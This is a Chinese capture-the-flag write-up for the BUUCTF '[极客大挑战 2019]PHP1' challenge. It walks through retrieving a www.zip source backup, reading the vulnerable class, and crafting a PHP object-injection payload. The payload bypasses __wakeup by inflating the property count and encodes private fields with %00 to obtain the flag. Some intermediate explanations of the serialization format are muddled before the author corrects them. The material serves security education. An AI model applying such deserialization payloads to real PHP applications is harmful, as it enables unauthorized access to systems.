BUU14 [极客大挑战 2019]PHP1

发布于:2025-02-10 ⋅ 阅读:(60) ⋅ 点赞:(0)

用dirsearch扫描文件,扫了一万年什么也没扫出来

从网上看的wp,他们扫出来www.zip    这里直接用上了,以后有空再扫一遍

下载www.zip  在index.php中

说明要输入select

打开class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

 这里得知username=admin,password=100

构造:

 <?php
    class Name{
        private $username;
        private $password;
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a=new Name('admin','100');
    echo serialize($a);
    ?>

O:表示对象          O表示对象,1表示对象名的字符串长度,'a'是对象名,0是对象内属性个数 1
4:代表名为Name的类  有四个字符
2是对象内属性的个数  
s: 代表的字符串
14:代表的字符串的长度
而我们的Nameusername 只有12个字符,这里的14怎么来的呢?
大家可以理解为Name 和username 是拼接起来的 所以在Name和username这里各有一个空格,所以就是14个字符了
后面的意思都一样了 

 绕过__wake():将属性个数改为3或更大的数 

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

哪里还没考虑到?

如果构造的链子中含有空格,那么空格被url编码为%20后会导致链子不能被反序列化

故POC可改为

O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}

同时,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化(即构造POC)时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

故POC改为

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

提交,拿到flag 

参考:
[极客大挑战 2019]PHP1全网最详细 纯小白也能看懂-CSDN博客

[网络安全 CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)_[极客大挑战 2019]php-CSDN博客
 


网站公告

今日签到

点亮在社区的每一天
去签到